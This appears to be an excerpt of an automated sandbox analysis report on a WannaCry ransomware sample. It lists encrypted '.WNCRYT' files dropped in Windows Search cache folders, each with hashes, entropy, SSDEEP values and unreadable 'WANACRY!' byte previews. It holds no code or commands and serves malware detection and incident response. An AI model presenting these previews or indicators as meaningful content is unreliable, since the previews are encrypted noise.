                                      SHA-256:22347D02296705EADAABFE61AD8C618168FF255D8FA22B3A56070F18384FCFA7
                                      SHA-512:DC52FB332FB55532EEC97AB81018E29B802CC39BD8E889759C94BCE1FDCAA9FE34625201B19929BE28F902197B5D0AD32593C16DDBBF9904AD5CF313081E1FCF
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!......;.z..E'.nN......b...4.a.La.j).duQ.~......7...~.#`.P...~..u.$f/s.....6..0.......{.#..5.....8>u......-.!..rc.ry~.'Ps.&TUG{4.U......D-.!9..}L.}..\.@..I2.-.w...cV{.O....2H......L.4.....D`l0.N.}k.#.K.^.Bo.....C.m....^.%........8`..k@.`.(h.............~\.7......dBo.w..........#i.Lq.:Q..[..n..h..O.c...q.>:..O.P.u.|9.....x..r........h.....Wg.z..W.TvAEo..b<...M.'#I......u..c..g.uw./..<.j..dX.T.....2g...........0............f.2.k....b.=j..T-.....b."..(rx.O....k.iv..a{Z..K..I.....S...g"e?.DP~.)..>..>E......].r...@....NR..#&...]......P.E.(...n.X^.!...37+..eK.Q....\9i...X.x.X.gO.yV.5L.B6..v..Zi.p.E...p..~.Ks{4..:..vd.....<m.{..B....Ka.X..D.....z(....e.#9&...%6.K...Eo#.59%6..+...P..s..k.Br.|.r.V....q..........<....GOjE`/.U.I..?....[...]....c....2...Y.dgT.xfa*..y.......;.N..Z..D5J.n.4.".b*U.KYR..p..$.......R#.L9..........*.I...<.....n.9.X..922>a;.>..>.b.l....g.3.jgl.E.-..E.l....e....N.K..3.....K..... .`.....xUk@.>.%.........{.a.....Q

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appsglobals.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):339640
                                      Entropy (8bit):7.999447249915806
                                      Encrypted:true
                                      SSDEEP:6144:c5JfXu1F9MYZwIX9nlk2GDeQRvEWV8b+tQ7DopYnTX0RMGouGujs+rkVU/TudaMp:c5Jf8FKcwINlk2GcWV8ytiop2b0JousJ
                                      MD5:D92D7462252BBB4229BCD6A91AFB57BB
                                      SHA1:A88EFB3FCBEC25184098DC92D1C1C7036E1C7A4B
                                      SHA-256:6CCFA9790085B35B5ED1042C52284CC599C2BFE4129C9640ED36E11CDA7D3FD1
                                      SHA-512:358B0E96B5911125D320D554D39749E64F127A4B5C6728FF6521A54D0B22513DBDE808BEE2ECC7137D9B6D7C2131DD7F79BBB308DFAC9E7AA1D559BFB18DC5EF
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!..........b1.zg[....+..._.TW.....S.aTI._.pig.............%..w.e.8.7R.....B...lB...4T3..d.w.3.......*Hp...u.....X.)..N...z...H.f<.....s...l...0./ ...O........>^...a.a..jk.R..Ya4....w.@<..@.).j{#..R...I.d^....lK.aJ\g.._..A..._..D...,.... c..!#.....-..........+(.b.Q.[.r4.h.Z.\K.g.z.'.|.]....d.s7..K........r7Ux..:J.RK.Z..(..k....1.j_..e.....-..x...o:....Q./.w'M....m.4..B`..-.Bf..9-.6.J0...y..c.0....-.Y......z"We.N...sl#..F......h...B..~.<...!..D.T.Y6.T..7.....6.]GG.S..I......6I..hr.,J..........t..._3_r..?...:G..+.1.&,Zq.n..N8..iM..-.......(2..f..Kt...R.rnYf..cj...<~....a[Pw)y.2.&.|.;4.V[..b8.)m...(t.....'U...b+.o.X..I@.."..pH..C7..B9w.t...B..."..$Y......%.6....N.}..a......l;8.d.T.....'.. .O...."*..d. .....=IiO.d....\.....E.....()..a.1.n.r.}....4.s.....H.....M..|...k....O.?.6..~.;H..5-wq..J...o.P!....s...M...ow|$..H......=..X...3.!..#..LI&....,].........N.v.....:+.PL.|.....R..n..".....mr.|a&..&...r-.....|...F.j..).N.P8Dr.....

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appssynonyms.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):383288
                                      Entropy (8bit):7.9995626467590935
                                      Encrypted:true
                                      SSDEEP:6144:Vnu1avexeTzGIBe/PYYv43tGI80m5xo65L5mEQ+gf8rnb9yRW/3Id7rf8uZp/M:VpqrV2alFEBPfYb9yRWPI5f8uZpk
                                      MD5:9F16D8736D0A9D6384A9233A001B9EF3
                                      SHA1:486EADB431816BEA2A90CE0FF36161C2F1A6CE92
                                      SHA-256:1F63DFF4BDAAFBBED3914DD07102883B01B1BDB40DD89F488B5963B58C2C8BD9
                                      SHA-512:DA86D1936F98F87B850D61EB3BA03BEE252E68AADD6F7799277F8C5785F19F28767EAD10A32B5596B21044E22FACDDC5273C9405AA96CF33D508824D03CCA807
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....%...<94.W........Zt...`Q...2F.~.,F....e.YA..1r....N...H.,..dU.|u3.....n.>......Z9...6...D.=(^............H.....f.<9.%.wI .[.E.;.e..BQ.;A..;.27?.........Eu...x.H.d...Q!)o.y(... A.[..x.4H.. ?...O.....r.E..8vM.j.Xx...m.P.}.....D.Ju.*.Y..F..g.H..Xr............$.G..........L.....9h".O.Z*G?..#..M*.....C.0.L..$.`d.0....j.z.Nt..!C!.<7..3...-.B....0..U"-y....r...j.Pn]g.y.(.....W..mJ+..[mI..L..Q......j6.....F.~.C..i.g......bq)&.1.....H.V. M...H.S.....".... ..?.;..............#.#,H..._.c..d.g.....(=....m.6.P..Qy{...@.....l....8..@....5..f/.?KZ....%.....ik..xT=\....)m%...}..SX.(.^..,. .;..J....".b.b....@.[..(8..9.!.doz\.m.y.+..wi....mL..b}..p..*.4.Z.m..@E...?..J.Z...5(.J8o...h:b.C..........K...0.x.%..1U.hXR `=..N....l>.7..e.j.........I..T.g.?......"z.0.%,.[.%.{.B.(..g......n>...".'.TV.g.]..RC.g...K...)./.....K..3.A..X^.R.r..D6/...E7..q-o..V...P..H...d...2.....~./.9.=K...p...64Z_J.t..8Li#....R"..Yz}..Gw.j...j...J<h.1..o.q..B.H:......+.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingsconversions.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):533032
                                      Entropy (8bit):7.999613081931642
                                      Encrypted:true
                                      SSDEEP:12288:tI4bVxjo7IylD3zKo3H8BzukcElcdEPMJVR6aRflAZ7hNi7jY:K4B5cIyBV38dgElOEwg4flARni3Y
                                      MD5:D50BA3FD2CC5EDB7ACA722A0A38C9506
                                      SHA1:4868EC9B12E149C02234E940DC9C2345AD1CF2D6
                                      SHA-256:33C4495120923F32900CC8CE705BFE8A007D68FC5CF25F73C493938631CC4F3B
                                      SHA-512:235664AFC65A5C19E34FD4E165EDC837894A6B02C8F26C1AF0369B015748C23AF9DBF6EC24768C416CF0508D5272D30606FC0452BE0E8E203AA89C6CE67714C5
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!......E...X....8.(y.n.....)..</.......1. ...&...s..."....]...... c76.......5./r...?-.m.A....MH.r....kL.....jk.....s.V._[...#c<.:_.]..J8.J*.u...AD...3.w.ErY.W...V&.N...pw..E....zCh....Q.Iq.8E..L...z._..'.u......>M...y.5d.')...$...0.jxs......3.....;.......!........*....v']..y.G....v...t......1.,Gp.7.....7n...$ty./...IM....@...f:e.k....2>C...G....&A.w>...e...h....3..6zZ..jw.a..".T.u..|..:<...~..0n...?..8........4.P@./."XFJ.......j....SPVi"..2...F.X.$..H..kqG....q.i.j..p.#>caa.x...p.....[H......K,.JLi.../....; .Ll.`...4E.3Vn....y..{....t..1....{J.w.TAv..?@.+........ot.uy..%......@.#m.5.X-.UR....F .t..:.2X......wb...R.....|us....Ua]..a.zMZ.N....$..O..m.....[..L..?.Vy.W..&.X.Aw.H.9O..+.......&Fs5|..!..+=.............K....>,V..;2.m.!.W..2....[c.........<....SE..K.......Q.H./.%...%o....$.,...w*..(..._.*>"<e..&..5{<...M...../2.M....AL.lN/B....C.R...z*.1..@c.c....R{F.'...VXd....bZ.8....i.Hq...._=......o.......9 ...*.....=X....XP..e...=.{.~.?

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingsglobals.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):62648
                                      Entropy (8bit):7.996869557852048
                                      Encrypted:true
                                      SSDEEP:1536:PbIKRzIk7QUDxz/Osl3wvyIyEUAeX0RI0gT/N9HcLS:P7uk7JDFzAvyTEUFBrTb8G
                                      MD5:66BF5773DF776E338C1A2F05930D6D73
                                      SHA1:B6E2BAED70AED1AF12C482CE571CC56FC17B57B1
                                      SHA-256:7EC11241E7BD5D00F8BF44D2FBCD566C61ED1DC5A764C006C7D9F4A24704D671
                                      SHA-512:5A2E8CCBD3B70C3B39EFF8EAEB46CA9C0F4DCCE173022BBF3DF4BCC779A4D330377638983873DA39F21DA717FD91DA6B6F73725035CFD76B10A6F0DDBC6022EE
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....a2.0.)Z.1O/z..*7qt....b.Q..@.. "..V...[..!....-...6.u.)y:).7&..f..0.}r...FK...d/..t.>..f...I..S?......].z.8.....y.e`G._n.3x.0J,mX.5.P...P[..#.m...X.C..1..c.../.E.:....>.5Qf..;...._D.h.(x!H..;....cl....M..5.....n.T....n.0.....=...k....z...................3......(.).:..Q.^.,.L.....u....]o..>.C.>&W..h,...\oI..6L..!nL(..m.9.3 .. .........(...X....Y.I6..{N./.D.1.K..e5.Uq*v..|.L.w..........bp...y.i.G.V...=.&.+. ".".LS.G.".1.......3....Jl..;...)%...|...$......."n^a.v.=.....eM.M......S...|f...)...3;n.t.y..v...}.O..<......2%.+ A~._a".5.zjP.,.s........].um.[.."...Q.|.eq.).q....J.....2h.|4....Y...|...V.g.N.t.?..yv......I.1a..8g..Q...%)....:s^i...+..\.G..*..t.....l.T|.....vg..,.9..g..7....RN.\.. .?....A.n.5.rT....F.ml..Q..9..W.Bx...#5z4.pX..1FVYQ.z..#r...`M........J..l..w.\;.$BH=.......!..)"....W..sU...:4.r.%.M...<..9Np8...1|...n.../.|..P.N./.H..bC..z.4..bW;.z'.F*...S.;>20.6.B"g(..u...:..JVk...nab$\M..WHv./>..z...._....c.84..+=.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingssynonyms.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):128936
                                      Entropy (8bit):7.998402273359693
                                      Encrypted:true
                                      SSDEEP:3072:UA8Amnyd37mhIx9Am/tG1SqEVF7CVM57vOI0QHqI9Rltx:WsjPp/t9Uq7vN0QH79
                                      MD5:11F3EC9EA245A5138C3AE49F55998AE7
                                      SHA1:6349D67338D40D64972C01BE2931F883C569ADCD
                                      SHA-256:EEF4445371B526B3A40343635F7903018529A0D23EB6118BC71066D02FCDE480
                                      SHA-512:0DBD998C256770881C41BF2DF65D9067700C849A1F77EBBBAE254A8B18C663B34F62C02002CA5D845EAA0A7F373A844F2FCD16F06CF8C0E7A1AC8A730401E89B
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!......N./...,..TG#....u..bb....%...........C,.~...WS.h......M4..^J....O.!.;...gC...D. ..f.....&..G..9..?......D.....Ef\I:.F..9......&...x=...m.........N..O.~...]...>~p.....Iw~.<..cf..7..~..6./..+.1._<...q.e...c......xdKZ...03.....j..O..H.I......WK...................-kH?\.1.f.4....'T...{n...b..*......jOv...-....N.L..).}cRi.H./.ey$a2....*.......?.IC....p..$..).q....;Z..`.3.>.. ?..1{..@.....;..J4..fd.I7....\.W\X.V..Bc?o.T...0....PkS..:^.N.L^W.(....J.qQ.h....=.....M..-F...Pi...........H........g....i..E..|7.ik......-...?A..V.l...TS.d_.).O..wq:..S..v.:-j..e....0..[....,.J.........qYo.....!..fo_*....g-.u.3.'P.G.V..2...(....Z.q.I.....n(1...r6ZC..H..$..5.].8..^;.....c.x...H....9.6..j.V8...C....>O.?..^..+..9..8.y.|. ....s...#..J...5u:....".\....X^ .x,.<.5J.3...?....&C.....?.....y...,&.{...H(.R.V;...%.o..\.....K.=...G|....];.>...mt....]....-(U.d~....S.Q.q.ZV.......F....kN.._...]MAs)N...7.b,...a..Pr...;..$.O.[.Z.......Si.0...`.2R...G......3..W

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{b5f948f2-ed43-4efa-a5e8-c66e8e4b2569}\0.0.filtertrie.intermediate.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):221672
                                      Entropy (8bit):7.999044775179738
                                      Encrypted:true
                                      SSDEEP:3072:8szH2HE3ihyUOaQu2kT3xwQzzk2IjIlYkYLFCzdL9VwWVTfGUYG6fUC1+PmwxmuS:8tReaQu2EgxslSFCBL0GuUY1Tuto0U31
                                      MD5:F0BF8DB23F9DE344A3A6894D30B8D475
                                      SHA1:473D6D1422BA104211C0C168EC33A6F1EB37F44B
                                      SHA-256:47B8D3D65362ED862121CFFC06467CE05C0DF75DB2D3B2D7556EC5A8A31C6E55
                                      SHA-512:2027E381DBC002C263FFD176EE8AB2EC431801670E82FC62738C97D9007A3E1B7DE453544FA225BD1CAF45744716AD8F4ECEA75EC12613FB51B98DBEC952EE4C
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....m*w8...Q..}.Z}:.<u...u:.`.\w{.H@ Y^t..Q0..tY..H.......=M..mQ.....P...e.@.QLq...5(..-...K....x..`T..3..3..F.8......mi!.ov.;U..b=..e.E../7.n...\Q.%..Y.m4..;.:....C.O..m..\k{.q...Ka....|.j.XN......w)......c.....'0.Sm.ah.&..N...;31.I8|T7y.....e........`......u{.].....}.3y..x..}.O2.......6yg...I..7R....Q2....i.o.v.d.RT..-e.f.......#..l.=(..QH....x@-.2..h.......].rG..F.RT.......y.......b$.f....8.aG60......G*.&C'B.lW.Q.Pz.+I,.....@.d.9..<...G....l.EV.]6..."...6.a1^.&.&?....j&.r..o..~;..8SR. z....K..,Hf"..~...Z.r.....r*'......g.... ..0...f....r..n..i2z...$.....]i+.6p......I?......E*......x...T.WJa.r^..c..#...\~&Y..-...,..._.s$....KB..C?..L].#.j....a..t...z..PM.S%.=.LP..2&.YI.Q.4c...........9y..e=....$..'x.M.dh..4$....%.b!@9v=.3C,....y..E.R...@..G-|Z..f.Y.$9..&...1%c.Bb......|.g'*. .9 .R..$..C{..h......|./...-..*.".B...U[m.]..."3..e.......[..p.p|...m!.2.(.....S...U....6(.......|...;..]o1'!.K..{.[.U.R.u..... ....".EB0....'63.d...s~....U]`..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{b5f948f2-ed43-4efa-a5e8-c66e8e4b2569}\0.1.filtertrie.intermediate.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):296
                                      Entropy (8bit):7.205812252926125
                                      Encrypted:false
                                      SSDEEP:6:bkEp0cXRtqHjBlw1XtTtiWZt2DcDYe6edbbJS70QJiqpl26t8g:bkEaKtqDPw1JQet7Yb+bbJS7DJiqzSg
                                      MD5:2F6CDD9B21AC9A4762851D30EF1FCF35
                                      SHA1:8499ED479905286E3BF34AD8ECBBCD5283AD3FB5
                                      SHA-256:00BA85703D956B7C861DFB0A4B856BBAD2D511A39A49721BD3238CA6F4609402
                                      SHA-512:EBBE3E811E9B70F21A394F6489977D122F4F2C44A676BBCCE88D309EAA705386D1FAF76EE9E07B88B07AE29A58D85F8B433F300B931565266B7BEA17BEB68BDA
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....R6v.. ..J...$.T/..........\.....b..;8.....s. .5\P....P+H..*.%.3TQ...IR..pF.B.....6......c.i..l..J..PFYRi.|.7.................D"%.tb..../.>..s*...u_.9.Uz...-.q~.>.<%{-.,..(.. L:..4..N.p...5[bI.F..O.!e..f!-..a..$&$....z.........4.....g.s.D.............s._..../..A...

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{b5f948f2-ed43-4efa-a5e8-c66e8e4b2569}\0.2.filtertrie.intermediate.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):296
                                      Entropy (8bit):7.16568709433293
                                      Encrypted:false
                                      SSDEEP:6:bkEnm+2WNs3X/nTrYJL5MX6m2zXfZx6CKpgFG319uybhX8hT+Q/7c/o/:bkEnaWNsHbrK/m273rFg1owhX8p3T
                                      MD5:F27CA947736C5F22BF95F81E9A990EF6
                                      SHA1:0D4ADC4CAA13B0AAC2CC14AB7D37D4C9F78BF261
                                      SHA-256:F67454CB2F460AEB26516980B3AB0499D91545784FE8D1B45E73EEA9F04EB679
                                      SHA-512:866B180541960386020DCD285E126E253864FB70D41DA91A8F39BDF7E2828F8FFA4176EAF03EE62973F8627EAA8640CFB2A6C36128C5ECB92F49471D903ACD93
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......{..\s2.....b.(%........W./.LI.1.......S..Bt...+...c3...e..6.O..Q.8...)..q\...u..H.3$.....N.......2..R.6......{.Ylxk.Kp.W.R.4......De...#..Q....!z...e..@......R.^.4#...24ZQ......wE.M.....<3.2M........Ppe..k.m.szRw.h......B.....Bn...............Q.b.%..0..0.....

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{fd8f40a4-ac14-48d6-9ef0-afd19dd2a012}\0.0.filtertrie.intermediate.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):214008
                                      Entropy (8bit):7.999181092363854
                                      Encrypted:true
                                      SSDEEP:3072:og4d6KiESvXOPTRkKW1I7lJMl47DWrb3c5eCqVYw+gpOX1UCvSbMDZURgVuKpI6k:ASvXC//ImDWrDXlgDFcK808cc
                                      MD5:9302CC0D234A22665EB978756EDCB0C4
                                      SHA1:762670DE3544EE4D885CE078A6DBC6A60C54C42C
                                      SHA-256:D63D8B3C7A1D0400DE9266C7C43392E95F82D6390CCE3FA38DEB29695E935AB7
                                      SHA-512:7336B81FED792A33CE597FD10F5DD45528BE48243BC4F8FF0AD65AF6B465DD97CAE380DB71DFE5FE5E091F1C4F6FFA51B3709E87376874106258913040131815
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!........z...]y.".n3.....#..-../...^A...9=...`S....u.....M..z ....X..0|.1y.).<.3..c7.T..ul.........@.7.......)....VU.1.A..i2w..N.Z.>nP4....l<....1u.3A.....yZ..'....un.........#.X..dm._L.U....q:..!.9&8.]#.:....M.H......L.7....f......_..G..3.P.............B......<").....t......i........ ....K-..tb,.....g-...1cZ...F.0 .....k.Z.kzk.76b.5.6$OP...._..H..N....^..0>W....a.{B.<....f....R..!.8u.Z&.....^.s...Co.6NP._[.....].$P.\Sc#............O.V.&...i.K...r9R..D=...H.O..j#.....+Y....Cu.g..u>.'.'m.4>.6.....&s./#B....?..i.k.z#.7}.D^L.,......s..P..F..x..6sH....0...Vk......~F.:..1.....l!...p.B{......cp.J%D..2w...%9.c(...#..`...0/1.Q.._z....|.r.=@T..d@_M.^&{..'...f....Q.6R.5.?...J....q..*..And.....fbJ.F!..!u....... .............5..#O4..V3#.!.3..fe....W`&..LmO:....%..3......`..Q....!91..0........dz.....R.H..p}... ..#E...{'O...Ac....D..<.S.U..Vz.......bu..<.JrN...>....b...2.....P...`Xy...H..+\.]..^P/..R.L.9-.p...b..y'..Y.;.Hak.2...LI....A...@.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{fd8f40a4-ac14-48d6-9ef0-afd19dd2a012}\0.1.filtertrie.intermediate.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):296
                                      Entropy (8bit):7.175634583782604
                                      Encrypted:false
                                      SSDEEP:6:bkEdsyw5qx1xyiFz7hzGs9OXNSqiJMBC2bLbEtibJLoygDg8r0KL:bkEdsYx1xy4zGYOQhmB4drvL
                                      MD5:7F4254838B2CB0B39D5A827032944D1D
                                      SHA1:12EF5D48A9AC6037152183458CEBAB8DA75C08A7
                                      SHA-256:16362E8C2A39FF7E53A6978BD3310CB3E644D7D7B55DF176B95165CB95BE9243
                                      SHA-512:2BD15B1007506430D07388CE650E28DE7582D6E850D1B473940257E47B87E822D29EE4E9DDC1D28AB9B71497FF59ED7E4BB9C6A1FBF9DC1329ABA326D97DE44A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....Q.>.#.%.4h}c.F.....=N....q..D..c(`4.}i._...'.Q8.V..).L...^..F$.p....X.6..A&.`.....h..D.....nu....&54...&...*_.....|Lh.4..}."..gJ..Bt.0.]n.Kow.......w..B...+.t.K..........*}.*.|..1.t....zq..v(..~p..c.@...e.O...-t/..A:.o..5.......V..(..].3s............D.......HP.H..!.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{fd8f40a4-ac14-48d6-9ef0-afd19dd2a012}\0.2.filtertrie.intermediate.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):296
                                      Entropy (8bit):7.24924047242705
                                      Encrypted:false
                                      SSDEEP:6:bkEKLLbI5q8jo0dOVUwJmp2us7dOvhct63RJYdJ:bkEKPM08JQVUwS2xe1DYf
                                      MD5:FFE06A5EE62C2AA11AC04D6BC6EF6712
                                      SHA1:0E8EC67C34E280BA906C2A7C50A49D3DB0D5CC9F
                                      SHA-256:52884E3B65A560C91944979F01127E7E80629EEBA5A51F3E0CA4B58366FBC162
                                      SHA-512:88257CA58A4454FECFEE10E3659B120F57AC08F57125A52631CB942C552688DF3DB6B098C1E3675B724E1BCAFC250256A133040DFBA3CF801983441EA341ABE7
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......V<..d>'.,..E.5N..y.-.f3...{7>.......R.*.;m...ZWu...s...WhR.J..X>tS.,S(......t..H.wy..l....I.q.Y0kx..?w..~..p?..P...."L(..0f,I_F6.;....7y......9.+"*..v.Z..Y.i......O.+....[.)6!n.Oe.%g.[.,.(..._\.0...T........\.(.H.`PQ]..4.t. ..s...$ T...g.+............}G./]..=S*..L_

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133663979588962890.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):113240
                                      Entropy (8bit):7.998145987571711
                                      Encrypted:true
                                      SSDEEP:1536:R2hnjGrgNRTYhDPWVHVewtnRM6Lu+IDq3BKw6Yb8d4h4bH/ztjPmdT83qaLDIBM8:R2dj+SRTkTeVyq3n6YA4GRuS6oDaIY
                                      MD5:F8EF6858B030A9455FF58734059B59EB
                                      SHA1:AA3D95452048695D7134A85BD6C05ED1AEB9D783
                                      SHA-256:DC220DC631E6677DF1A02A712EE1F3ADB687AEFA08AADAE8FCE9A04CE087A423
                                      SHA-512:97C6368EE70FE6E824A3EDA8BAE8CB8A8436B14A59858CAF031678E7FFA80196C1926DE02A1D2DEB30D00991241A3824A7FA13ABBF7D876067306D2A89E36A3E
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....R.L.....0.'W+.P.....{..:m.....=.....u?o.>d*.!p.x.4zh..o.U..........w.......uy!.|2..U.....Y.$ }..^..~....h.f.E...[...w.G......j.......`.l.._.v....@....I:..[.........[.\;.t0....9..[.0......2..9..`.F.!O.....F.....cg..$._.v...h.R.&G...C:..?e...`@....7........o>......#.WT.z'K.....x*C.c|.0Z..u.z...A..h#....F..[.....x...p....A|![6...].....:.Mu.?^.\ ... $..{........ ..E1._..b.|.)...O8}..xz.....~... X!%g..<T@7u.R..b.......h..`....C.q.tx..D.7E.....B...B4..%/..x..5...j..J.:M.....q....%P).]...X'..a.C-S..r.=..]......Bn...U0....3.....3!y1<......c3Y.9../.B...y^9...W..,.S.....W.hM9....mS.....H....D..H..q.DJ...@..a..`D....A...+.h..yc&...........`..<.uE.Z.@.h....j..'X.yb..(e*.)f..D.Q.k\...Ix...qZ.S.`MB..........F.tu....f....S2....>.V.2....D.t.D..y.3.!f.gE;......s..;.R.G.ua.......p'.?..&R..B.........~.9...'.y.m.$.T...4...wmL.....`.$.T#....A<....7...nG..JD..H.GAd^.@.|A.P._*.-9T.D..d......<.t..c..H..W.tS.h..@.j....4rk..~.b....?C..,.c..bG.7.....

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133663980110963572.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):111960
                                      Entropy (8bit):7.998264251952539
                                      Encrypted:true
                                      SSDEEP:1536:0b7G3KjaMZY0FUxZweKdxEcUjyAfRhSX+nW6EuWcL7GUg1DuaXK49nKprwcgeokU:0by0Y0uNKdx74FdW+WQQHK49nzZ0U
                                      MD5:1332A1D4151FCAF4B71AEED2E4B4A11E
                                      SHA1:C9BC893B22A2397D59A4271C04FE17B3CE100DE0
                                      SHA-256:74001603E4DB9BD8E949C448122FF3CAF339CAA5E07797CE8E649A12C6F36904
                                      SHA-512:E433EFECB357C41BEF782182D26D02D68536681322C18A51D76167AD127D6D9D77663A10F410C24A6E959AF4CCC672390DBF8D9A63360871B988C2A6A981DB80
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....$..l.-....5.t.5.|...b!7...i.W.Hi....V........J.y...iw...._.+.m........... >..K..yw!u!......A....Lq.q4194.'.vX.\.._..2.A(.^..>..2i...._DT.Y.S.SJ.J(....l%4LoSY..... aIT.....B^.......l.>........i..w>.<....a.'.....Nyr.I......]B]....'....Ce^.d..I....;.......Y.....O.]y..v./...P|Z..J.}.......cR~~..S..['....mh.7v.a?..L.....u=..........O.wO.5(+.?i._.l..z.d>..w.[.. 4.U.~0C.A..7....kxjZ..ofB1../...FN(..Q.I|;u..n.X`..[.|RI..z.#e.s ...._!...A.H.(.bs.f/M_.....'..l1...p...Kr.u.^..S_..j.....b...1g.N....0ni,$...-.(...C..&0[....H,....\F50.D.......8..c3t.1.|1.W.......].Kx...v....z..<.......p.j*.F.9.S.,.+Qe....a....|..H .)..,....L:...3F6.H..h!J..\Y.).+.e..."......05#...V......y7....@....|.5.....d..A..........]6.!M.>...$cW.....{...#A.....6f:.g.......:....I.\....=ga.".^...u0.M.........=..~...>.Y.w..}.B..A4.q.T.$a......$o1R....f.(8:&.P...V..8V.3..,.(.`,?.l.HO...n3$........]..=....r..z....q...k ...C.U-nf>..uf...{.*9......6.>.W3..{.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664196401331849.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):111960
                                      Entropy (8bit):7.998305654858346
                                      Encrypted:true
                                      SSDEEP:1536:ByuELoO3M1SigemwBB9cc6Ujpp+7L5XqvdwSXnmU2WioBxYkdZbKV8+/+o:BXELt3mStw2c6i05X+PmU2WIkdFKVF+o
                                      MD5:976A973112730F7261F6651BD8E91908
                                      SHA1:DB048D8BC59925E5BE620493F34A9C0545F9692D
                                      SHA-256:62113FB3A85B1C6274907B5D9C8F39951EEBE15543A84672AF61AE1555D41284
                                      SHA-512:FA4FF8F26A7D6DA751B28A54D4D082BE23885907B472F4AABC02E5E87723F42BDCBB9121A7B4E001063051CB7833C39361E44207B7B9955A9D5C824CE5BA0587
                                      Malicious:true
                                      Reputation:unknown
